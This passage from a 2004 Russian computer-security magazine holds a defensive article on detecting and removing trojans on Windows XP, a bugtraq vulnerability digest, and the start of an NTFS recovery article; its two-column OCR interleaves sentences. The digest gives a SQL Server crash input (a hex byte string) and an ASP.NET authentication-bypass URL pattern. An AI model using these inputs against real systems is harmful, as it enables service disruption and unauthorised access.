компьютера с Windows XP был гордо стоящий антивирус с жертвы, устанавливают его в состояние LISTENING и ждут,
базами вирусов двухгодичной давности. В Windows даже когда хакер подключится на этот порт. Таким образом, нам
не был включен ICF. нужно выявить все процессы, которые открыли TCP-порты и
К сожалению, подавляющее большинство пользовате- которые находятся в состоянии LISTENING, и решить, одоб-
лей неопытны и несведущи в вопросах компьютерной бе- ряете ли вы это соединение или нет. То же самое можно ска-
зопасности. Компьютеры на платформе Intel и операцион- зать про UDP-порты – за ними тоже надо смотреть, с един-
ная система Windows являются высокотехнологичными про- ственным отличием, что у них нет состояний – с этих пор-
дуктами. Ведь даже среди тех, кто пользуется общеизвест- тов может как приниматься информация, так и отсылаться.
ной программой Microsoft Word, не так много людей, кто С ходу можно сказать, что если у вас обычный компьютер,
изучал его на курсах или хотя бы читал к нему документа- подключенный к выделенной линии или через модем в Ин-
цию. Что тут говорить про образованность в области ком- тернет, то в идеале у вас не дожно быть слушающих портов.
пьютерной безопасности. Даже если приложения или сервисы Windows открыли эти
К каждому пользователю специалиста по компьютер- порты, то они должны быть закрыты персональным firewall.
ной безопасности не приставишь. Поэтому на таких компь- Чтобы выявить программы, которые ожидают (и уста-
ютерах все подготовительные мероприятия их владельцы навливают) соединения в Windows XP и Windows 2003, мож-
будут делать сами при работающем трояне и подключен- но, конечно, воспользоваться стандартной утилитой netstat
ном Интернете, поскольку Интернет – единственное место, c параметрами -ano. (Параметр -а заставляет netstat пока-
где они могут найти помощь и программное обеспечение зывать все имеющиеся подключения и ожидающие порты,
для поиска троянов. Тем более чего им бояться – все важ- -n преобразует вывод адресов и портов в числовой формат,
ное троян уже наверняка украл и отослал своему владель- -o отображает для каждого подключения идентификатор
цу. Но даже в этом случае, после того как вы скачали все процесса, создавшего это подключение). В Windows 2000
необходимые утилиты на локальный диск, нужно отключить- ключ -o еще не был изобретен. Например:
ся от Сети.
C:\Documents and Settings\User>netstat -ano
Итак, боевая задача состоит в том, чтобы успешно прой-
ти три этапа: найти трояна, убить его и поменять свои укра- Активные подключения
денные пароли. Именно в такой последовательности. Имя Локальный адрес Внешний адрес Состояние PID
Замечание: программа в операционной системе Windows TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 856
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
представлена в виде процесса, в котором может работать TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 1028
несколько нитей, и все эти нити загружены в память из TCP 0.0.0.0:4928 0.0.0.0:0 LISTENING 3660
TCP 0.0.0.0:4929 0.0.0.0:0 LISTENING 3660
файлов, хранящихся на диске. Как правило, это файлы с TCP 0.0.0.0:4946 0.0.0.0:0 LISTENING 3660
расширением EXE и DLL. Расширения могут быть и други- TCP 0.0.0.0:6213 0.0.0.0:0 LISTENING 3660
TCP 0.0.0.0:6218 0.0.0.0:0 LISTENING 3660
ми. Злоумышленники часто используют другие расшире- TCP 0.0.0.0:6247 0.0.0.0:0 LISTENING 3660
ния, чтобы никто не догадался. TCP 0.0.0.0:6253 0.0.0.0:0 LISTENING 3660
TCP 0.0.0.0:6299 0.0.0.0:0 LISTENING 3660
Некоторыми проявлениями троянских программ явля- TCP 0.0.0.0:6344 0.0.0.0:0 LISTENING 3660
ются: TCP 0.0.0.0:9762 0.0.0.0:0 LISTENING 2324
! несанкционированные соединения c различными хоста- TCP
TCP
0.0.0.0:10641
0.0.0.0:10676
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING
2884
2324
ми в Интернете; TCP 0.0.0.0:10892 0.0.0.0:0 LISTENING 2324
! открытые программами соединения, ожидающие под- TCP
TCP
127.0.0.1:111
127.0.0.1:143
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING
2676
2676
ключения извне; TCP 127.0.0.1:3044 0.0.0.0:0 LISTENING 1608
! попытка открыть ненужные для нормальной деятельно- TCP
TCP
127.0.0.1:3045
127.0.0.1:3046
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING
1028
1028
сти файлы на локальном диске; TCP 127.0.0.1:3085 0.0.0.0:0 LISTENING 2324
! добавление себя в списки автозапуска; TCP
TCP
127.0.0.1:5335
127.0.0.1:8888
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING
3232
3232
! маскировка под стандартные системные процессы и раз-
мещение в системной папке Windows. Результат, как видите, аскетичен: порты, конечно, вы-
водятся, но вместо информации о приложениях выдается
Находим троянскую программу, только номер процесса. Хотелось бы еще узнать имя про-
которая ждет входящего соединения цесса и местоположение файла, из которого он был запу-
Обычно авторы таких программ называют свои програм- щен. Но давайте хотя бы разберемся с тем, что уже есть.
мы «программами удаленного управления». Типичной ил- Если вы увидели у себя много TCP-соединений в состо-
люстрацией этого вида троянских программ является Back янии LISTENING, то не пугайтесь – это, скорее всего, не
Orifice (см. описание http://www.viruslist.com/viruslist.html?id= трояны, а работающие по умолчанию стандартные серви-
3957&gloss=8227). Такие программы позволяют делать на сы Windows.

№10(23), октябрь 2004 69


безопасность
Алгоритм просмотра ожидающих соединений такой: ющие процессу сервисы, позволяет делать HTML-отчеты.
! Отметаем все соединения, у которых локальный адрес Все эти программы бесплатны.
установлен 127.0.0.1 – это означает, что к этим портам Замечание: на самом деле для просмотра процессов и
может подключиться только программа, запущенная на их идентификаторов можно воспользоваться программой
этом же компьютере. Подключение извне к этому порту tlist.exe из файла support.cab, лежащего на каждом лицен-
и адресу невозможно. зионном диске Windows. К сожалению, эта программа не
! Адрес 0.0.0.0 означает, что любое подключение по лю- устанавливается по умолчанию.
бому IP-адресу, который есть на вашем компьютере, с Сравните TCPView и CurrPorts (рис. 1 и рис. 2).
любого хоста Интернета будет возможно на указанный
порт. Напомню, что на одной сетевой карте может быть
несколько IP-адресов. Не говоря уже о том, что у вас
может быть и несколько сетевых карт.
! В некоторых ожидающих соединениях вы увидите те, у
которых явно указан IP-адрес одной из ваших сетевых
карт. К ним также возможно подключиться из Интерне-
та через указанный порт.

Получается, что для всех ожидающих соединений из


последних двух пунктов нам нужно узнать, какое приложе-
ние создало это подключение, и нужно ли это вам.
Следующим этапом является установление имени при-
ложения, использующего это соединение. Очевидно, ре-
зультат команды netstat -ano в виде идентификатора про-
цесса нас не устраивает, поскольку, пользуясь стандарт- Ðèñóíîê 1
ными средствами графического интерфейса и командной CurrPort может с промежутками в 2 секунды показывать
строки Windows, невозможно получить по номеру процес- программы, использующие открытые порты (лучше сказать,
са его имя и тем более имя исполняемого файла. Конечно, сокеты). К сожалению, соединения происходят достаточно
можно самому написать программу, которая выполняет та- быстро и практически невозможно отследить все соедине-
кие действия, но, к счастью, в Сети уже есть приложения, ния в реальном времени. Для выявления несанкциониро-
которые делают то, что нам нужно. ванных подключений нужно протоколировать все соедине-
Тем более что в статье Microsoft Knowledge Base Article – ния и потом просматривать полученные записи.
816944 (http://support.microsoft.com/default.aspx?scid=kb;en- Отлично, берем CurrPorts, получаем список процессов,
us;816944) сами сотрудники фирмы Microsoft советуют которые что-то слушают во внешнем мире или даже соеди-
пользоваться такими программами, как TCPView (http:// няются с внешним миром.
www.sysinternals.com/ntw2k/source/tcpview.shtml) и FPort Что дальше? Ведь получается, что вам нужно хорошо
(http://www.foundstone.com/knowledge/proddesc/fport.html). знать свой компьютер, а точнее, что за программы вы уста-
Я, однако, советую другую программу, которая называ- новили и как они называются, да еще понимать, что про-
ется CurrPorts (http://freehost14.websamba.com/nirsoft/utils/ грамма c:\windows\system32\svchost.exe – системная про-
cports.html). FPorts плох тем, что работает только в команд- грамма Windows (см. описание http://www.liutilities.com/
ной строке и ничего не умеет, кроме показа имени процес- products/wintaskspro/processlibrary/svchost), а например,
са и открытых им портов. TCPView – отличная программа, c:\windows\svchost.exe – уже непонятно откуда взявшаяся
позволяет закрыть соединение и убить процесс, но CurrPorts программа под этим именем (например, это может быть
более функциональна: ко всему перечисленному выводит вирус, см. описание здесь: http://us.mcafee.com/virusInfo/
больше информации о процессе, показывает соответству- default.asp?id=description&virus_k=100277). Просто хакер

Ðèñóíîê 2

70
безопасность
скрыл под именем системного файла свою программу и Другим вариантом такого ручного поиска процесса яв-
положил ее в системную папку. ляется просмотр всех процессов с помощью последней вер-
Итак, что делать, если вы нашли незнакомый процесс? сии программы Sysinternals Process Explorer (http://www.sys
Есть такая услуга: идентификация процесса по имени. Су- internals.com/ntw2k/freeware/procexp.shtml) (рис. 4).
ществуют сайты, на которых выложен список процессов, Одной из полезных функций данной программы явля-
чаще всего встречающихся в операционной системе ется просмотр свойств каждого процесса, где показаны
Windows. Таким образом, по имени процесса вы можете используемые этим процессом порты. Например, операци-
понять, для чего он нужен на вашем компьютере, какие пор- онная система использует:
ты он обычно использует, и сравнить с данными CurrPorts.
Например, http://www.liutilities.com/products/wintaskspro/
processlibrary. Для примера попробуйте посмотреть описа-
ние svchost.exe: http://www.neuber.com/taskmanager/process/
svchost.exe.html. Кроме того, можно набрать в поисковой
машине имя процесса и номер порта – вероятнее всего, вы
найдете место, где описывается этот процесс или где опи-
сывается этот вирус или троян. Но лучше всего купить со-
ответствующие продукты, которые помогут вам идентифи-
цировать процессы без подключения к Интернету: например,
WinTasks Pro (http://www.liutilities.com/products/wintaskspro)
или Security Task Manager (http://www.neuber.com/task
manager/index.html). Ðèñóíîê 3
Таким образом, вы, пользуясь маленькой утилитой, на- Открытый слушающий порт 445 означает, что система
шли процессы, которые зачем-то слушают порты, и при по- может предоставлять доступ к дискам посредством прото-
мощи Интернета поняли, что это за процессы и нужно ли кола SMB (Server Message Broadcast), также известного под
их удалять с диска. Если вы не уверены точно, что за про- названием CIFS (Common Internet File System) через Интер-
цесс работает на вашем компьютере, обращайтесь к спе- нет. Неправильное конфигурирование этого сервиса может
циалистам. Их можно найти в форумах, например, на привести к возможности чтения системных и других фай-
www.securitylab.ru/forum. лов третьими лицами и захвату контроля над системой.
Необходимо понимать, что многие трояны прячутся под Значительное количество пользователей открывают ло-
именами системных процессов, чтобы их невозможно было кальные диски для чтения и записи по сети для упрощения
убить из менеджера задач. Но CurrPorts благополучно уби- обмена информацией, давая также возможность и третьим
вает и системные процессы. Будьте осторожнее – умира- лицам работать с их системами. Если вы не хотите, чтобы
ние системного процесса может привести к зависанию или кто-то изучал ваши диски или даже вносил изменения в
перезагрузке компьютера. данные, хранящиеся на них, то лучше отключить этот сер-

Ðèñóíîê 4

№10(23), октябрь 2004 71


безопасность
вис совсем. За 445 порт отвечает драйвер netbt.sys, поэто- пользоваться любое стороннее приложение, то троян мо-
му есть два способа избавиться от него: жет от имени Internet Explorer зайти на сайт, созданный спе-
! отключить драйвер netbt.sys через «Диспетчер уст- циально для него (например, недавно ставший известным
ройств», но тогда не будет работать DHCP-клиент maybeyes.biz), и как параметры строки передаст ваши ло-
Windows, что часто необходимо абонентам Интернета, гины и пароли или скачает свои дополнительные модули.
использующим выделенные линии; Если хорошо поискать, то можно даже найти исходный текст
! переименовать в ветке реестра HKEY_LOCAL_MACHINE\ подобной программы: tooleaky.zensoft.com/tooleaky.zip. Эта
SYSTEM\CurrentControlSet\Services\NetBT\Parameters па- программа использует WinExec() для запуска Explorer.
раметр TransportBindName (например, на OldTransport Замечание: сайт maybeyes.biz создан специально для
BindName), и после перезагрузки UDP- и TCP-порты бу- того, чтобы троян Ducky загрузил с этого сайта свою основ-
дут отключены. ную часть. Этот троян использует последнюю уязвимость в
Windows XP SP1 и Windows 2003, которая позволяет ему
Если у вас внешний IP-адрес, то это нелишне сделать, загрузиться на ваш компьютер, пока вы просматриваете
поскольку по статистике 445 и 135 порты чаще всего ска- JPEG(JPG)-картинку. Подробное описание этой уязвимости
нируют в Интернете (см. статистику http://isc.sans.org/ на сайте Microsoft: MS04-028 (http://www.microsoft.com/
top10.php). Без преувеличения можно сказать, что каждый technet/security/bulletin/MS04-028.mspx). Обновление, ис-
компьютер во внешней сети подвергается постоянным по- правляющее эту уязвимость, доступно на сайте Microsoft.
пыткам соединения с TCP-портами 445 и 135, рассчитывая Бороться с таким видом троянов трудно. Персональные
на то, что пользователи оставили открытым анонимный firewall не всегда помогают. А точнее, вообще не помогают.
доступ (null сессию). 135 порт (NETBIOS) отключается в В этом можно убедиться, посмотрев список персональных
свойствах протокола TCP/IP в свойствах сетевой карты. От- firewall, прошедших leaktests (http://www.firewallleaktester.com/
крытый порт 1026 говорит о том, что включена «Служба tests.htm). Leaktest – класс программ, реализующий один
сообщений» (Messenger). Если вы ей не пользуетесь, то от- из видов утечки информации в обход персонального firewall.
ключите этот сервис. Для этого запустите консоль управле- Как видно, пока нет идеального firewall, блокирующего все
ния сервисами Windows (services.msc), кликните правой кноп- leaktests. Пока в лидерах Look’n’stop, но он тоже ловит не
кой на «Службе сообщений», выберите «Свойства» и в поле все. К сожалению, чтобы грамотно настроить персональ-
«Тип запуска» выберите «Отключено» и нажмите «OK». ный firewall, нужно обладать как минимум знаниями стека
И так далее по шагам для каждой программы нужно протоколов TCP/IP, представлять, как работает операцион-
изучить, что за порты она использует, зачем они ей нужны ная система Windows, и быть знакомым с функциональны-
и желаете ли вы, чтобы она передавала куда-то данные. ми возможностями конкретного firewall. Но это тоже не все-
гда помогает, потому как злоумышленники постоянно ищут
Находим программу, производящую (и находят) новые методы обхода firewall. Профессионалы
несанкционированные соединения на основе накопленного опыта могут закрыть лазейки в опе-
с Интернетом рационной системе, которые уже известны. Но что хакеры
В этой части нам нужно распознать программу, которая, придумают завтра – никому неизвестно. Поэтому выбора
попав на компьютер, считывает нужные ей данные (напри- нет и придется повышать свою грамотность в отношении
мер, ваши пароли) и отсылает их куда-то в Интернет. По- безопасности. Конечно, с ходу профессионалом в этой об-
скольку ваши важные данные достаточно небольшого объе- ласти стать сложно, но существенно затруднить нехорошим
ма: учетные записи, пароли, адреса почтовых ящиков, те- людям выполнение их замыслов вполне возможно.
лефоны dial-up, то передать все это можно очень быстро, Существует бесчисленное количество способов попа-
особенно если упаковать. Естественно, что все это хранит- дания трояна на ваш компьютер. Вы можете сами скачать
ся на диске и все это можно прочитать и посмотреть. По- его из Интернета, как «очень интересную программу, кото-
смотрите хотя бы утилиты MessenPass (http://www.nirsoft.net/ рую вы обязательно должны посмотреть», эта программа
utils/mspass.html) или Protected Storage PassView (http:// может прийти вам по электронной почте как «обновление
www.nirsoft.net/utils/pspv.html). Первая утилита покажет па- безопасности от Microsoft». Кроме того, вам может послать
роли из любого мессенджера (ICQ, MSN, Trillian и т. д), вто- специально или не специально зараженную программу ваш
рая – из Explorer и Outlook. знакомый по ICQ или MSN, вы можете принести троян или
Очевидно, что некоторые процессы соединяются с Ин- вирус на дискете или компакт-диске. Не стоит думать, что
тернетом на короткое время и нам очень сложно сидеть весь на компакт-дисках не бывает вирусов и троянов. Я видел,
день за программой CurrPorts и следить, кто именно соеди- как люди параноидально проверяют чистые дискеты из ко-
няется с Интернетом. Вдобавок, это может быть бесполез- робки на вирусы, но очень редко встречался с тем, что люди
ным, поскольку некоторые троянские программы соединя- проверяют антивирусом свежекупленные компакт-диски с
ются с Интернетом не сами, а «просят» это сделать другую программным обеспечением или играми. Я видел однаж-
легальную программу, например, Explorer. Это позволяет ды подобный компакт-диск. На нем была записана компь-
им скрыться от слежения и вдобавок обмануть ваш персо- ютерная игра и в довесок вирус.
нальный firewall. Например, я уверен, что у вас он пропус- Кроме того, существовало и существует огромное ко-
кает все исходящие соединения Explorer.exe на любой ад- личество дырок в Windows и приложениях под Windows,
рес по 80 порту. (Если firewall вообще у вас стоит.) Поскольку которые распространяются без участия пользователя. Как
Internet Explorer экспортирует функции, которыми может правило, они пользуются отсутствием в исполняемом коде

72
безопасность
различных компонентов Windows проверок на длину вхо-
дящих данных или параметров или, короче говоря, пере-
полнением буфера. Например, известный компьютерный
червь Blaster (http://support.microsoft.com/kb/826955/RU/)
использует переполнение буфера в сервисе RPC. А вот тро-
ян Ducky уже использует ошибку в обработке JPEG-карти-
нок (переполнение буфера) для своего запуска на вашем
компьютере. Как это ни ужасно, но, просто просмотрев кар-
тинку с удаленного сайта через Explorer, вы рискуете зара-
зиться новым трояном. И неизвестно, что нас ждет завтра.
Понятно, что очень сложно предусмотреть все вариан-
ты заражения компьютера, и, более того, неизвестно, ка-
кие уязвимости Windows вирусы и трояны будут использо-
вать в будущем, поэтому надо выполнять хотя бы два про-
стых правила: Ðèñóíîê 5
! не скачивать и не запускать неизвестные программы из Здесь вы увидите более полный список, поскольку по-
Интернета; лучен он из гораздо большего количества укромных мест
! включить «автоматическое обновление Windows», что- Windows. Но, к сожалению, отредактировать его эта про-
бы вовремя устранять уязвимости. грамма не позволяет.
Ну и последний вариант – это просмотреть реестр
Но если троян (или вирус) попал на ваш компьютер, то Windows, используя утилиту regedit.exe. Например, в HKLM\
его задача: закрепиться и остаться на компьютере как мож- Software\Microsoft\Windows\CurrentVersion\Run очень много
но дольше, а при возможности распространиться дальше. интересного.
Тут и проявляется ахиллесова пята этих троянов (впрочем, Посмотрим, какие варианты есть у сторонних разработ-
как и любого другого вируса) – им нужно, чтобы их кто-то чиков. Начну с программы Starter (http://codestuff.tripod.com/
запускал при следущей загрузке Windows. Если они не мо- features.shtml), которая сама читает данные из реестра и
гут запуститься, то не могут ничего сделать. Для своего INI-файлов и затем показывает содержимое в удобном
последующего запуска они используют стандартные меха- виде (рис. 8).
низмы Windows: запись в папку автозагрузки и в список Она просматривает и показывает имена программ, ко-
программ для автозапуска в реестре, запуск по расписа- торые будут автоматически выполнены. Чтобы увидеть пол-
нию, установка как сервис, запись в system.ini и win.ini. Как ную картину, нужно в «Настройках» во вкладке «Разное»
правило, такие трояны не используют вирусную техноло- поставить галочку на параметре «Элементы» только для
гию внедрения непосредственно в сам исполняемый файл, экспертов, и тогда имена программ она будет брать из сле-
а идут отдельным модулем в виде exe- или dll-файла. дующих ключей реестра, папок автозагрузки и INI-файлов:
Наша задача свелась к тому, чтобы «поскрести по сусе- ! HKEY_CURRENT_USER\Software\Microsoft\Windows\
кам» и выявить все процессы, что у нас есть в автозапуске, CurrentVersion\Run;
и опять посмотреть, нужны ли они нам там. Программы, ко- ! HKEY_CURRENT_USER\Software\Microsoft\Windows\
торые помогают это делать, уже написаны. Windows нам CurrentVersion\RunOnce;
предлагает утилиту msconfig.exe, с помощью которой мож- ! HKEY_CURRENT_USER\Software\Policies\Microsoft\
но посмотреть INI-файлы, сервисы и автозагрузку (рис. 5). Windows\System\Scripts;
Однако лучшим стандартным средством Windows для ! HKEY_CURRENT_USER\Software\Microsoft\Windows\
просмотра автоматически загружаемых программ являет- CurrentVersion\Policies\Explorer\Run;
ся msinfo32.exe (можно запустить через меню Пуск → Про- ! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
граммы → Служебные → Сведения о системе) (рис. 6). CurrentVersion\Run;

Ðèñóíîê 6

№10(23), октябрь 2004 73


безопасность
! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ ми DLL Injection. Я не буду заставлять вас разбираться еще и
CurrentVersion\RunOnce; в этом. Оставьте работу специалистам по безопасности.
! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Но эта программа показывает не все места, где может
CurrentVersion\RunOnceEx; прятаться троян. Еще нужно смотреть на встраиваемые мо-
! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\ дули (plugins) Explorer, WinAmp, Photoshop, смотреть, какие
CurrentVersion\Winlogon; зарегистрированы ShellExtension (то, что запускается при
! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ нажатии правой кнопки на объекте), «Назначенные зада-
CurrentVersion\ShellServiceObjectDelayLoad; ния» и наконец сервисы. Давайте попробуем другую про-
! HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\ грамму WinPatrol PLUS (http://www.winpatrol.com).
Windows\System\Scripts;
! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\policies\Explorer\Run;
! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\
CurrentVersion\Winlogon;
! HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\
CurrentVersion\Run;
! HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\
CurrentVersion\RunOnce;
! папка Current User\Главное меню\Программы\Автозаг-
рузка;
! папка All Users\Главное меню\Программы\Автозагрузка; Ðèñóíîê 7
! папка Default User\Главное меню\Программы\Автозаг- Программа платная, но даже в незарегистрированном
рузка; варианте она позволяет узнать много про ваш Windows.
! файл Win.ini: разделы [Windows].Run, [Windows].Load. Думаю, что самое полезное окошко в программе – это IE
Helpers, где показаны дополнительные модули, которые
Еще одной ценной особенностью этой программы явля- подгружаются при запуске Explorer.
ется то, что она показывает список процессов и подгружен- Чаще всего я использую программу Sysinternals Autoruns
ные этими процессами DLL, что позволяет бороться с атака- (http://www.sysinternals.com/ntw2k/freeware/autoruns.shtml) –

Ðèñóíîê 8

74
безопасность
только она показывает ShellExtensions и другие хитрые ком- этом файле, в открывшемся контекстном меню выбираете
поненты Windows (рис. 10). «Свойства» и в новой вкладке нажимаете кнопку Execute.
Итак, мы посмотрели, что находится в автозапуске, уда- После перезагрузки этот файл будет удален (рис. 9).
лили ненужные программы и заодно удалили трояны, кото-
рые периодически запускаются для выполнения «нехоро- Как посмотреть, что «ушло»
ших» задач. Самое главное, что одновременно мы навели с вашего компьютера
порядок в Windows. Несмотря на все наши усилия (и не только наши), все рав-
И напоследок скажу, что если троянская программа при но нужно констатировать факт, что если мы нашли и обез-
своем запуске удаляет себя из реестра и при завершении вредили трояна, то неизвестно, что было украдено с ком-
Windows добавляет себя снова в реестр, то в этом случае пьютера. Поэтому, после того как мы провели «дезинфек-
то, что вы читали выше, не работает. Но зато помогает кноп- цию», нужно обязательно поменять все пароли.
ка Reset. Чтобы в следующий раз не производить все перечис-
ленные выше действия, давайте поставим какой-нибудь
Убить трояна продукт, который бы протоколировал все успешные соеди-
Что самое интересное, периодически это становится труд- нения с внешним миром, чтобы потом, уже после инциден-
ной задачей. Что делать, если, пытаясь удалить файл, вы та, можно было понять, откуда произошла утечка.
сталкиваетесь с сообщениями: «Доступ к файлу запрещен», Во-первых, приходит на ум поставить галочку «записы-
«Файл используется»? Удалить такие файлы можно только вать успешные соединения» во встроенном в Windows
специальным образом. Очевидно, удалять их нужно до того firewall и периодически просматривать эти записи. Ссылки
момента, как они начали использоваться, либо убивать про- на программы для удобного просмотра этих объемных про-
цесс, заблокировавший файл, что не всегда возможно. токолов легко найти с помощью любого поискового серве-
ра, например Google.
Во-вторых, неплохим бесплатным решением является на-
писанная Microsoft утилита, которая называется Port Reporter
(http://support.microsoft.com/?id=837243). Советую внима-
тельно посмотреть на нее. Эта утилита не только протоко-
лирует соединения, но и расписывает все DLL, которыми
пользовался процесс. Ну и, наконец, можно поставить лю-
бой сторонний firewall, который имеет функции протоколи-
рования соединений. Например, Agnitum Outpost (http://
www.agnitum.com/products/outpost). Но это платный способ.

Как все это автоматизировать


Здесь я хочу рассказать о программе System Safety Monitor
Ðèñóíîê 9 (http://maxcomputing.narod.ru/ssm.html?lang=ru).
Я предлагаю скачать программу MoveOnBoot (http:// Все эти операции были бы необходимы, если бы мы сво-
www.softwarepatch.com/software/moveonboot.html), которая евременно узнавали о добавлении программ в реестр, в
удалит по вашей просьбе файл в самом начале загрузки автозапуск, о запуске одних программ другими програм-
Windows, когда файл еще никем не используется. После мами и т. д. Опять же нашелся человек, который это авто-
установки программы просто кликаете правой кнопкой на матизировал (рис. 11, 12).

Ðèñóíîê 10

№10(23), октябрь 2004 75


безопасность
Краткие характеристики:
! Позволяет контролировать, какие приложения могут, а
какие не могут быть запущены на вашем компьютере.
! Может запретить одному приложению запускать другое.
! Предотвращает процесс внедрения стороннего кода в
чужое приложение («Dll Injection»).
! Может предотвратить установку клавиатурных шпионов.
! Дает возможность контролировать загрузку драйверов.
! Позволяет контролировать доступ к таким объектам
ядра, как «\Device\PhysicalMemory».
! Предупреждает об изменении «охраняемого» ключа ре-
естра Windows.
! Позволяет легко редактировать список запускаемых при
загрузке компьютера приложений.
! Автоматически закрывает окна в зависимости от их за-
головка.
! Подобно меню <Ctrl+Alt+Del> может принудительно за-
вершать работу запущенных процессов (даже тех, ко-
торые в Windows 9x не видны). Ðèñóíîê 11
! Имеет легкоредактируемые списки разрешенных и зап- Эта программа опережает многие программы по функ-
рещенных приложений. «Запрещенные» приложения ав- циональности. Она дает пользователю возможность быст-
томатически закрываются при запуске. ро реагировать на событие, предоставляя подробную ин-
! Уведомляет об установке новых сервисов Windows NT формацию о том, что произошло, легко настраивается под
! Уведомляет об изменениях в заданных INI-файлах и меню нужды пользователя и позволяет следить за безопаснос-
автозапуска Windows. По умолчанию контролируется тью сразу нескольких уязвимых компонентов Windows.
win.ini и system.ini, но можно расширить этот список. Описанные в статье программы должны быть у вас все-
! Контролирует вызовы API, используемые для внедре- гда под рукой. Особенно полезными я считаю продукты
ния в чужое адресное пространство и для сокрытия про- Sysinternals. Было бы разумно скачать все необходимое про-
цессов. граммное обеспечение до появления трояна на вашем ком-
! Протоколирует события, происходящие в системе. пьютере и записать на компакт-диск.

Ðèñóíîê 12

76
bugtraq

Удаленное выполнение произвольного Две уязвимости в различных версиях


кода в Windows Server 2003 Microsoft Windows
Опасность: критическая. Опасность: критическая.
Описание: В Windows Server 2003 SMTP-компоненте обна- Описание: В различных версиях Microsoft Windows обна-
ружена уязвимость при выполнении Domain Name System ружена уязвимость в пути, которым Windows Shell запуска-
(DNS) преобразования. Удаленный атакующий может зас- ет приложения. Удаленный атакующий может сконструиро-
тавить сервер обработать частичный DNS-запрос, чтобы вы- вать специально обработанный веб-сайт, чтобы выполнить
полнить произвольный код на уязвимой системе с SYSTEM- произвольный код на системе целевого пользователя, по-
привилегиями. Уязвимость также существует в Microsoft сетившего этот сайт.
Exchange Server 2003 Routing Engine-компоненте на Microsoft Вторая уязвимость обнаружена в обработке специаль-
Windows 2000 Service Pack 3 или на Microsoft Windows 2000 ных запросов в Program Group Converter. Атакующий мо-
Service Pack 4. жет сконструировать специально обработанный запрос,
URL производителя: http://www.Microsoft.com. чтобы выполнить произвольный код на системе целевого
Решение: Установите соответствующее обновление. пользователя, выполняющего некоторые действия типа от-
крытия прикрепленного файла или клика на html-ссылку.
Удаленное выполнение произвольного URL производителя: www.Microsoft.com.
кода в Microsoft Windows XP/2003 Решение: Установите соответствующее обновление.
Опасность: критическая.
Описание: В Microsoft Windows XP/2003 обнаружено перепол- Удаленный отказ в обслуживании
нение буфера в сжатых (zipped) папках при обработке спе- в Microsoft SQL Server 7.0
циально сформированных сжатых файлов. Удаленный ата- Программа: Microsoft SQL Server 7.0 SP3 и более ранние
кующий может сконструировать специально обработанный версии.
сжатый файл, чтобы выполнить произвольный код на сис- Опасность: средняя.
теме пользователя, посетившего злонамеренный веб-сайт. Описание: Отказ в обслуживании обнаружен в Microsoft
URL производителя: http://www.Microsoft.com. SQL Server 7.0. Удаленный пользователь может предста-
Решение: Установите соответствующее обновление. вить чрезмерно большой буфер со специально обработан-
ными данными (700 000 байтовый буфер, за которым сле-
Удаленный отказ дует строка \x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\
в обслуживании в Apache xcc\xcc\xcc\xcc ), чтобы аварийно завершить работу служ-
Программа: Apache до версии 2.0.51. бы mssqlserver.
Опасность: средняя. URL производителя: http://www.microsoft.com.
Описание: Уязвимость обнаружена в Apache web server в Решение: Способов устранения обнаруженной уязвимос-
обработке IPv6-адресов. ти не существует в настоящее время.
Удаленный пользователь может представить параметр
отрицательной длины, который приведет к ошибке сегмен- Удаленный отказ в обслуживании
тации. Уязвимость расположена в apr-util/test/testuri.c и apr- в Microsoft Windows NT/2000/XP
util/uri/apr_uri.c. Опасность: средняя.
URL производителя: http://httpd.apache.org. Описание: Уязвимость обнаружена в Microsoft Windows NT/
Решение: Установите обновленную версию программы: 2000/XP: переполнение буфера в службе NetDDE. Уязви-
http://httpd.apache.org/download.cgi?update=200409150645. мость позволяет удаленному атакующему выполнить про-
извольный код на уязвимой системе с SYSTEM-привилеги-
Уязвимость канонизации в ASP.NET ями. Служба NetDDE по умолчанию отключена.
Программа: Microsoft .NET Framework 1.x. URL производителя: Microsoft.com.
Опасность: средняя. Решение: Установите соответствующее обновление.
Описание: Уязвимость связана с ошибкой канонизации внут-
ри .NET authentication schema. В результате возможно обой- Обход парольной защиты
ти аутентификацию на основе форм или WIndows-аутенти- в Kaspersky Anti-Virus
фикацию, используя специально обработанный URL: Программа: Kaspersky Anti-Virus 5.0.149, 5.0.153.
Опасность: низкая.
http://[victim]/secure%5Cfile.apx Описание: Локальный пользователь может работать с при-
Уязвимость воздействует на все версии ASP.NET для ложением типа RAMcleaner, чтобы загрузить KAV.exe без
всех версий IIS. аутентификации. Затем пользователь может изменить на-
URL производителя: http://support.microsoft.com/?kbid= стройки конфигурации.
887459. URL производителя: http://www.kaspersky.com.
Решение: Установите обновление: http://www.microsoft.com/ Решение: Способов устранения обнаруженной уязвимос-
downloads/details.aspx?FamilyId=DA77B852-DFA0-4631- ти не существует в настоящее время.
AAF9-8BCC6C743026.
Составил Александр Антипов

78
образование

ВОССТАНОВЛЕНИЕ ДАННЫХ НА NTFS-РАЗДЕЛАХ


ЧАСТЬ 2
Сегодня мы продолжим говорить о восстановлении
данных, сосредоточив свое внимание на загрузочных
секторах, таблицах разделов, динамических дисках
и всех сопутствующих им служебных структурах.

КРИС КАСПЕРСКИ
Master boot record – базовые концепции ка 0/сектор 1) хранится специальная структура данных –
Первые жесткие диски были небольшого (даже по тем вре- master boot record (главная загрузочная запись) или сокра-
менам) размера и форматировались практически так же, щенно MBR. Она состоит из двух основных частей – пер-
как и дискеты, однако их объемы стремительно росли, и вичного загрузчика (master boot code) и таблицы разделов
